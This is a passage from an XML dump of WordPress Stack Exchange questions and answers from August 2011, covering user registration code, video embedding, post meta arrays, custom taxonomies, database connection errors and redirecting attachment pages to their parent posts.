registered, don't register him/her again, but return true so no error is flagged&#xA;    if(email_exists($email))&#xA;        return true;&#xA;&#xA;    // If any of the necessary fields are not filled, return false&#xA;    if($name == '' || $password == '' || $email == '')&#xA;        return false;&#xA;&#xA;    // It's now safe to register the user&#xA;    $user_id = wp_create_user($name, $password, $email);&#xA;    if($user_id)&#xA;    {&#xA;        // Email user&#xA;        add_filter('wp_mail_content_type',create_function('', 'return &quot;text/html&quot;; '));&#xA;        wp_mail($email, 'Registration', get_mail_user_registration($name, $email));&#xA;&#xA;        // Set meta fields&#xA;        set_cimyFieldValue($user_id, 'COMPANY', $company);&#xA;        set_cimyFieldValue($user_id, 'PHONE', $phone);&#xA;&#xA;        // Log user in&#xA;        $gov_creds = array(&#xA;            'user_login' =&amp;gt; $name,&#xA;            'user_password' =&amp;gt; $password,&#xA;            'remember' =&amp;gt; true&#xA;        );&#xA;        wp_signon($gov_creds, false);   &#xA;&#xA;        return true;&#xA;    }&#xA;    else&#xA;        return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-06T17:57:56.710" Title="wp_create_user not properly entering password" Tags="&lt;wpdb&gt;&lt;wp-create-user&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="25127" PostTypeId="1" CreationDate="2011-08-06T05:23:40.263" Score="0" ViewCount="42" Body="&lt;p&gt;I want to embed a video that was converted to mp4 from wmv, using ffmpeg. The video of course plays fine in VLC. However, it's being quite a pain to embed it in a WP post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using a variety of plugins - &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Simple Flash Video - This plugin almost works. The thumbnail of the video is shown, and on click a ShadowBox appears with the JW Player loading the video inside. However, thats as far as it goes - the video never begins playing. The important thing here is, my download manager - FlashGet - shows that it can intercept the video being loaded. This means that at least the correct video URL is used here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Flash Video Player - doesnt respond at all.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;FLxER Player.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any pointers here ?&lt;/p&gt;&#xA;" OwnerUserId="7685" LastActivityDate="2011-09-05T17:43:10.967" Title="How to embed .mp4 videos in a WordPress post?" Tags="&lt;plugins&gt;&lt;videos&gt;&lt;embed&gt;" AnswerCount="1" />
  <row Id="25128" PostTypeId="2" ParentId="25125" CreationDate="2011-08-06T05:38:32.717" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_comments&quot; rel=&quot;nofollow&quot;&gt;get_comments()&lt;/a&gt; and don't pass a post id.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-06T05:38:32.717" />
  <row Id="25129" PostTypeId="2" ParentId="25127" CreationDate="2011-08-06T05:48:23.003" Score="0" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/videojs-html5-video-player-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;VideoJS&lt;/a&gt; and it works like a charm. Also adds HTML5 cool-ness!&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-06T05:48:23.003" CommentCount="2" />
  <row Id="25130" PostTypeId="2" ParentId="25120" CreationDate="2011-08-06T05:51:30.833" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_get_recent_posts&lt;/code&gt; basically uses  &lt;code&gt;WP_Query&lt;/code&gt;, so you can use the &lt;code&gt;offset&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( 'numberposts' =&amp;gt; '5', 'offset' =&amp;gt; 5 ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Offset_Parameter&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Offset_Parameter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-06T05:51:30.833" CommentCount="1" />
  <row Id="25131" PostTypeId="2" ParentId="25119" CreationDate="2011-08-06T05:54:17.147" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a better way to do what I'm trying to do?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, use a mobile plugin or use your RSS feed to style a mobile version.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-07T20:17:51.857" LastActivityDate="2011-08-07T20:17:51.857" />
  <row Id="25132" PostTypeId="2" ParentId="25124" CreationDate="2011-08-06T06:01:56.290" Score="0" ViewCount="" Body="&lt;p&gt;There are a couple of plugins available that will allow you to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/post-type-convertr/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/post-type-convertr/&lt;/a&gt; or &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/convert-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/convert-post-types/&lt;/a&gt; should get the job done for you.&lt;/p&gt;&#xA;" OwnerUserId="7649" LastActivityDate="2011-08-06T06:01:56.290" CommentCount="1" />
  <row Id="25133" PostTypeId="2" ParentId="25118" CreationDate="2011-08-06T06:08:53.140" Score="0" ViewCount="" Body="&lt;p&gt;Add the code to your comment template file or your functions.php with a page conditional. The comments file depends on your theme, by default it is &lt;code&gt;comments.php&lt;/code&gt; , but it could be named anything, you need to look at your theme's code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if it's the contact page, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if (is_page('Contact'))&#xA;    // do something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-06T06:08:53.140" CommentCount="2" />
  <row Id="25134" PostTypeId="2" ParentId="25125" CreationDate="2011-08-06T06:12:41.210" Score="1" ViewCount="" Body="&lt;p&gt;A slightly more complete and less abrupt answer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;    'status' =&amp;gt; 'approve',&#xA;    'number' =&amp;gt; '5'&#xA;);&#xA;$comments = get_comments($args);&#xA;foreach($comments as $comment) :&#xA;    // display any of the following indexes as you'd like&#xA;    var_dump($comment);&#xA;endforeach;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7649" LastActivityDate="2011-08-06T06:12:41.210" />
  <row Id="25135" PostTypeId="1" AcceptedAnswerId="25141" CreationDate="2011-08-06T07:05:02.050" Score="0" ViewCount="22" Body="&lt;p&gt;A site that was working fine previously is now getting an error,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error establishing a database connection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have dealt with this error while creating new wordpress sites(when there was something wrong with the &lt;code&gt;config&lt;/code&gt; file). This time, the error occurred when the user upload a file to &lt;code&gt;public_html&lt;/code&gt; folder. Can anyone suggest me &lt;strong&gt;what would have gone wrong&lt;/strong&gt; and &lt;strong&gt;how to fix it&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2011-08-06T08:57:29.010" Title="Error establishing a database connection error on a site that was working fine previously" Tags="&lt;errors&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25136" PostTypeId="1" AcceptedAnswerId="25168" CreationDate="2011-08-06T07:19:12.637" Score="1" ViewCount="28" Body="&lt;p&gt;Okey guys, I am little confused here. I am building a ads rotating site (specifically for jpgs/gif banners) for my client where people can add banners and create code to put in there site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Plan So Far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Individual Ads will be a custom post type.&lt;/li&gt;&#xA;&lt;li&gt;Each ads will have a specific banner size.&lt;/li&gt;&#xA;&lt;li&gt;Ads Group: A group of ads where couple of same size ads can be added. The rotating code will be associated with the group not a single ads.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So you see the &lt;strong&gt;Ads Group&lt;/strong&gt; will be something that will contain the post id of the ads that associated in that group. Also i need to validate the banner size of the group (two different banner size can't be in a same group).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now what I am confused about is&lt;/strong&gt; should i use custom post type for groups too? or i should use only taxonomy? Custom post type looks too bigger for the purpose because I only need to save the Group Ads size (125x125, 468x60 etc) and the post ids in a group item. And when i think of using taxonomy it is easy to use store the post ids (wordpress will handle that!) but how come I save the Group ads size? Is it possible to add meta values for taxonomy items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you get my whole idea? Let me know if you are not clear.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-06T17:47:00.090" Title="Help need making decision. Ads rotating site on wordpress" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25138" PostTypeId="1" AcceptedAnswerId="25139" CreationDate="2011-08-06T07:47:28.313" Score="2" ViewCount="41" Body="&lt;p&gt;I have an array saved in postmata, each array key become a metakey. I want to change the code to save the whole array with one metakey. How to do that? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$poddata = Array(&#xA;'pod_id' =&amp;gt; $this-&amp;gt;pod_id,&#xA;'url' =&amp;gt; $this-&amp;gt;url,&#xA;'name' =&amp;gt; $this-&amp;gt;name,&#xA;'description' =&amp;gt; $this-&amp;gt;description,&#xA;'service' =&amp;gt; $this-&amp;gt;service,&#xA;'status' =&amp;gt;$this-&amp;gt;status,&#xA;'price' =&amp;gt; $this-&amp;gt;price&#xA;);&#xA;&#xA;foreach ( $poddata as $k =&amp;gt; $v ){&#xA;&#xA;if ( get_post_meta( $this-&amp;gt;id, $k ) == '' )&#xA;add_post_meta( $this-&amp;gt;id, $meta_box, $v, true );&#xA;&#xA;elseif ( $v != get_post_meta( $this-&amp;gt;id, $k, true ) )&#xA;update_post_meta( $this-&amp;gt;id, $k, $v );&#xA;&#xA;elseif ( $v == '' )&#xA;delete_post_meta( $this-&amp;gt;id, $k, get_post_meta( $this-&amp;gt;id, $k, true ) );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2011-08-06T08:46:23.323" Title="How to save an array with one metakey in postmeta?" Tags="&lt;post-meta&gt;&lt;update-post-meta&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25139" PostTypeId="2" ParentId="25138" CreationDate="2011-08-06T08:46:23.323" Score="3" ViewCount="" Body="&lt;p&gt;you don't need to loop through the values. Just use update_post_meta($post_ID, {key}, {array of vals}), it would do!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$poddata = Array(&#xA;    'pod_id' =&amp;gt; $this-&amp;gt;pod_id,&#xA;    'url' =&amp;gt; $this-&amp;gt;url,&#xA;    'name' =&amp;gt; $this-&amp;gt;name,&#xA;    'description' =&amp;gt; $this-&amp;gt;description,&#xA;    'service' =&amp;gt; $this-&amp;gt;service,&#xA;    'status' =&amp;gt;$this-&amp;gt;status,&#xA;    'price' =&amp;gt; $this-&amp;gt;price&#xA;    );&#xA;&#xA;//Update inserts a new entry if it doesn't exist, updates otherwise&#xA;update_post_meta($post_ID, 'poddata', $poddata);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats it! When you fetch it for usage, do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $poddata = get_post_meta($post_ID, 'poddata');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$poddata is the array of values.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-06T08:46:23.323" CommentCount="13" />
  <row Id="25140" PostTypeId="1" CreationDate="2011-08-06T08:46:45.333" Score="0" ViewCount="47" Body="&lt;p&gt;Let's cut right to the chase:&#xA;I have two custom post types: &lt;strong&gt;interviews&lt;/strong&gt; and &lt;strong&gt;people&lt;/strong&gt;. They both have custom taxonomy &lt;strong&gt;names&lt;/strong&gt;. In interviews there is a video interview with one particular person along with the transcript of the video. In people, there is a short biography and a photo of that person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my home page I want to display randomly picked interview: title, short excerpt of the video interview transcript - and I need a photo of that person. Which I need to pull from the custom post type for that person which is &lt;strong&gt;people&lt;/strong&gt; custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I figure it out is that I need a query within a query. First is to pick a random interview and then to somehow find the &lt;strong&gt;people&lt;/strong&gt; post with the same &lt;strong&gt;names&lt;/strong&gt; term as that particular random interview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@toscho ok, so this is my code with post 2 post plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(&#xA;        array (&#xA;            'post_type' =&amp;gt; 'interviews',&#xA;            'posts_per_page' =&amp;gt; 1,&#xA;            'orderby' =&amp;gt; 'rand',&#xA;            )&#xA;        );&#xA;    while ( have_posts() ) : the_post();?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    // Find connected pages&#xA;    $connected = new WP_Query( array(&#xA;        'post_type' =&amp;gt; 'people',&#xA;        'connected_from' =&amp;gt; get_queried_object_id(),&#xA;        )&#xA;    );&#xA;    // Display connected pages&#xA;    while ( $connected-&amp;gt;have_posts() ) : $connected-&amp;gt;the_post();?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Person in this interview: &amp;lt;?php the_title();?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php endwhile;&#xA;    // Prevent weirdness&#xA;    wp_reset_postdata();?&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; wp_reset_query();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It still doesn't work. It displays all the peoples' names, no matter which one is connected to that interview&lt;/p&gt;&#xA;" OwnerUserId="7666" LastEditorUserId="7666" LastEditorDisplayName="" LastEditDate="2011-08-06T11:39:42.583" LastActivityDate="2011-08-09T18:13:31.913" Title="Problems with custom taxonomies" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" />
  <row Id="25141" PostTypeId="2" ParentId="25135" CreationDate="2011-08-06T08:57:29.010" Score="2" ViewCount="" Body="&lt;p&gt;Did you checked your wp-config.php file? Is database name or password is changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp-config.php file is located on the root directory you installed wordpress. Open the file and you will see database password, username etc that wordpress use to connect your database. Check the username, passwords are correct.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** The name of the database for WordPress */&#xA;define('DB_NAME', 'your_database_name');&#xA;&#xA;/** MySQL database username */&#xA;define('DB_USER', 'your_database_username');&#xA;&#xA;/** MySQL database password */&#xA;define('DB_PASSWORD', 'your database password');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-06T08:57:29.010" CommentCount="1" />
  <row Id="25142" PostTypeId="2" ParentId="21811" CreationDate="2011-08-06T09:28:23.687" Score="0" ViewCount="" Body="&lt;p&gt;This query (original can be found &lt;a href=&quot;http://www.cappelli.net/20100928/wordpress-mysql-php-sitemap.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; &amp;ndash; I use it to make a sitemap from tags) lists &lt;b&gt;ALL&lt;/b&gt; TAGS sorting by their last appearance in published posts (on the top you will find more recently used tags, despite their total count/popularity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;get_results(&quot;SELECT&#xA;name,&#xA;slug,&#xA;tag_history.tagdate AS lastmod FROM&#xA;(SELECT&#xA;$wpdb-&amp;gt;term_relationships.term_taxonomy_id AS tagid,&#xA;substr($wpdb-&amp;gt;posts.post_date_gmt,1,10) AS tagdate FROM $wpdb-&amp;gt;term_relationships&#xA;INNER JOIN&#xA;$wpdb-&amp;gt;term_taxonomy ON &#xA;$wpdb-&amp;gt;term_taxonomy.term_taxonomy_id=$wpdb-&amp;gt;term_relationships.term_taxonomy_id&#xA;INNER JOIN&#xA;$wpdb-&amp;gt;posts ON $wpdb-&amp;gt;posts.ID=$wpdb-&amp;gt;term_relationships.object_id&#xA;WHERE taxonomy='post_tag'&#xA;AND post_status='publish'&#xA;AND description!=''&#xA;ORDER BY&#xA;post_date_gmt DESC&#xA;) AS tag_history&#xA;INNER JOIN&#xA;$wpdb-&amp;gt;terms ON $wpdb-&amp;gt;terms.term_id=tag_history.tagid&#xA;GROUP BY&#xA;tag_history.tagid&#xA;ORDER BY&#xA;tag_history.tagdate DESC&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember that if you don't delete..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AND description!=''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..from query you wil get ONLY tags with description.&lt;/p&gt;&#xA;" OwnerUserId="7412" LastEditorUserId="7412" LastEditorDisplayName="" LastEditDate="2011-08-06T09:51:53.277" LastActivityDate="2011-08-06T09:51:53.277" />
  <row Id="25143" PostTypeId="2" ParentId="25140" CreationDate="2011-08-06T09:49:07.827" Score="2" ViewCount="" Body="&lt;p&gt;You could use the &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Plugin Post2Post&lt;/a&gt; to associate the interviews with the people and to get these associations to your query.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-08-06T09:49:07.827" />
  <row Id="25144" PostTypeId="1" AcceptedAnswerId="25146" CreationDate="2011-08-06T09:49:40.633" Score="6" ViewCount="121" Body="&lt;p&gt;When doing a bit of Google searching for content on our blog, I noticed to my shock and horror that individual images from the Media  Library are somehow generating their own URLs that Google is somehow finding and indexing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this page:&lt;br&gt;&#xA;&lt;a href=&quot;http://blog.stackoverflow.com/2008/08/special-development-team-podcast/&quot; rel=&quot;nofollow&quot;&gt;http://blog.stackoverflow.com/2008/08/special-development-team-podcast/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contains this image:&lt;br&gt;&#xA;&lt;a href=&quot;http://blog.stackoverflow.com/wp-content/uploads/bio-jarrod-dixon.jpg&quot; rel=&quot;nofollow&quot;&gt;http://blog.stackoverflow.com/wp-content/uploads/bio-jarrod-dixon.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is fine, but somehow this image is also exposed as its own URL and &quot;post&quot;:&lt;br&gt;&#xA;&lt;a href=&quot;http://blog.stackoverflow.com/2008/08/special-development-team-podcast/bio-jarrod-dixon/&quot; rel=&quot;nofollow&quot;&gt;http://blog.stackoverflow.com/2008/08/special-development-team-podcast/bio-jarrod-dixon/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;em&gt;extremely&lt;/em&gt; unwanted! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the Media settings in WordPress and browsed around the Media Library but I can't figure out a way to disable this behavior. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="152" LastActivityDate="2011-08-06T22:30:29.690" Title="Unwanted media library URLs in posts?" Tags="&lt;urls&gt;&lt;media-library&gt;" AnswerCount="4" FavoriteCount="3" />
  <row Id="25146" PostTypeId="2" ParentId="25144" CreationDate="2011-08-06T10:42:42.080" Score="5" ViewCount="" Body="&lt;p&gt;This thing you are saying is unwanted is just normal functionality under WordPress and it cannot be removed. However there are things you can do to point the unwanted URL to something more usefull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a forum post on this issue with some interesting fixes and a description on what is happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/disable-attachment-posts-without-remove-the-medias&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/disable-attachment-posts-without-remove-the-medias&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Attachments are actually a post type, so they take a row in the posts table like a post does, they will always have a URL available, in the same way that posts do to..&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ie. &lt;code&gt;example.com/?p=16&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;16 is the post ID, and like posts they will always be available by a URL like the above. Media files aren't simply considered files, they have a more content like element to them, in that they have a record in the posts table that corresponds to them, just like a post or page does.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What you're asking is how to stop the automatic existance of individual attachment URLs for each media item(not really possible because they're essentially a post type, which means they'll always be a URL for them).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Here's a suggestion though, take any template(theme) file, index.php, page.php, archive.php or whatever you like, create a copy and rename it to image.php or attachment.php if you want to target all media. Open the file, remove the loop, save... and load up one of the attachment pages(like the one you provided before)..&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;My point being, all you need to do is create an attachment template file:&#xA;  &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Attachment_display&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy#Attachment_display&lt;/a&gt;  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you wanted to, in theory you could place a redirect into the attachment template so individual attachment views are redirected (or any number of other things you might want to do).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Someone posted just that, an &lt;code&gt;attachment.php&lt;/code&gt; that goes in your &lt;code&gt;/themes&lt;/code&gt; folder to redirect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;header ('HTTP/1.1 301 Moved Permanently');&#xA;header ('Location: '.get_permalink($post-&amp;gt;post_parent));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-08-06T22:30:29.690" LastActivityDate="2011-08-06T22:30:29.690" CommentCount="1" />
  <row Id="25147" PostTypeId="2" ParentId="25144" CreationDate="2011-08-06T12:05:16.823" Score="4" ViewCount="" Body="&lt;p&gt;You can do a 301 redirection for attachments to their parent's page like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Redirect Attachments to Parent (301)&#xA;Plugin URI: http://wordpress.stackexchange.com/questions/25144/unwanted-media-library-urls-in-posts&#xA;Description: Redirect any attachemnt pages to their parent's page with 301 redirection&#xA;Author: Ashfame&#xA;Version: 0.1&#xA;Author URI: http://www.ashfame.com/&#xA;*/&#xA;&#xA;add_action( 'template_redirect', 'attachment_post_type_redirection' );&#xA;&#xA;function attachment_post_type_redirection() {&#xA;    global $wp_query;       &#xA;    if ( is_attachment() ) {            &#xA;        wp_redirect( get_permalink( $wp_query-&amp;gt;post-&amp;gt;post_parent ), 301 );&#xA;    }       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-06T12:05:16.823" />
  <row Id="25148" PostTypeId="1" CreationDate="2011-08-06T13:03:09.283" Score="0" ViewCount="22" Body="&lt;p&gt;I have a big problem: The comments on my theme does not work. I see only the following PHP errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Trying to get property of non-object in /var/www/hosts/dev.example.com/www/wp-includes/comment-template.php on line 209 Notice: Trying to get property of non-object in /var/www/hosts/dev.example.com/www/wp-includes/comment-template.php on line 209 Anonymous schreibt:&#xA;Notice: Trying to get property of non-object in /var/www/hosts/dev.example.com/www/wp-includes/comment-template.php on line 600&#xA;Notice: Trying to get property of non-object in /var/www/hosts/dev.example.com/www/wp-includes/comment-template.php on line 375 Notice: Trying to get property of non-object in /var/www/hosts/dev.example.com/www/wp-includes/comment-template.php on line 631 Uhr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what can i do?&lt;/p&gt;&#xA;" OwnerUserId="7688" LastActivityDate="2011-08-06T13:15:24.100" Title="Comments does not work?" Tags="&lt;comments&gt;" AnswerCount="1" />
  <row Id="25149" PostTypeId="2" ParentId="22263" CreationDate="2011-08-06T13:05:38.300" Score="0" ViewCount="" Body="&lt;p&gt;I think the gratest solution is here &lt;a href=&quot;http://antispambee.com/&quot; rel=&quot;nofollow&quot;&gt;Anti Spam Bee&lt;/a&gt;. Try this.&lt;/p&gt;&#xA;" OwnerUserId="7688" LastActivityDate="2011-08-06T13:05:38.300" />
  <row Id="25150" PostTypeId="2" ParentId="25144" CreationDate="2011-08-06T13:07:29.717" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://yoast.com/wordpress/seo/&quot; rel=&quot;nofollow&quot;&gt;Yoast's SEO plugin&lt;/a&gt; has &quot;Redirect attachment URL's to parent post URL&quot; under &lt;strong&gt;permalinks&lt;/strong&gt;. I used this option to resolve the issue. The plugin is amazing.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-08-06T13:15:39.083" LastActivityDate="2011-08-06T13:15:39.083" CommentCount="1" />
  <row Id="25151" PostTypeId="2" ParentId="25148" CreationDate="2011-08-06T13:15:24.100" Score="0" ViewCount="" Body="&lt;p&gt;From quick look at code these seem all to be about trying to do something with comment object, returned by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_comment&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_comment()&lt;/code&gt;&lt;/a&gt; function. However from this little information it is impossible to tell what goes wrong with it. Could be something about retrieveing comment from database, could be trying to retrieve comment by wrong ID, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried switching theme (preferably to native Twenty Eleven) and checking if comments work there?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-06T13:15:24.100" CommentCount="6" />
  <row Id="25152" PostTypeId="2" ParentId="25144" CreationDate="2011-08-06T13:45:17.270" Score="4" ViewCount="" Body="&lt;p&gt;I figured it's about time i at least tried my hand at wiping out attachment pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my first shot at it...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'attachment_fields_to_edit', 'wpse_25144_attachment_fields_to_edit', 10000, 2 );&#xA;&#xA;function wpse_25144_attachment_fields_to_edit( $form_fields, $post ) {&#xA;&#xA;    $url_type = get_option( 'image_default_link_type' );&#xA;&#xA;    if( 'post' == $url_type ) {&#xA;        update_option( 'image_default_link_type', 'file' );&#xA;        $url_type = 'file';&#xA;    }&#xA;&#xA;    $form_fields['url'] = array(&#xA;        'label'      =&amp;gt; __('Link URL'),&#xA;        'input'      =&amp;gt; 'html',&#xA;        'html'       =&amp;gt; wpse_25144_image_link_input_fields( $post, $url_type ),&#xA;        'helps'      =&amp;gt; __('Enter a link URL or click above for presets.')&#xA;    );&#xA;&#xA;    return $form_fields;&#xA;}&#xA;&#xA;function wpse_25144_image_link_input_fields($post, $url_type = '') {&#xA;&#xA;    $file = wp_get_attachment_url($post-&amp;gt;ID);&#xA;&#xA;    if( empty( $url_type ) )&#xA;        $url_type = get_user_setting( 'urlbutton', 'file' );&#xA;&#xA;    $url = '';&#xA;    if( $url_type == 'file' )&#xA;        $url = $file;&#xA;&#xA;    return &quot;&#xA;    &amp;lt;input type='text' class='text urlfield' name='attachments[$post-&amp;gt;ID][url]' value='&quot; . esc_attr($url) . &quot;' /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;button type='button' class='button urlnone' title=''&amp;gt;&quot; . __('None') . &quot;&amp;lt;/button&amp;gt;&#xA;    &amp;lt;button type='button' class='button urlfile' title='&quot; . esc_attr($file) . &quot;'&amp;gt;&quot; . __('File URL') . &quot;&amp;lt;/button&amp;gt;&#xA;&quot;;&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'wpse_25144_query_vars', 10000, 2 );&#xA;&#xA;function wpse_25144_query_vars( 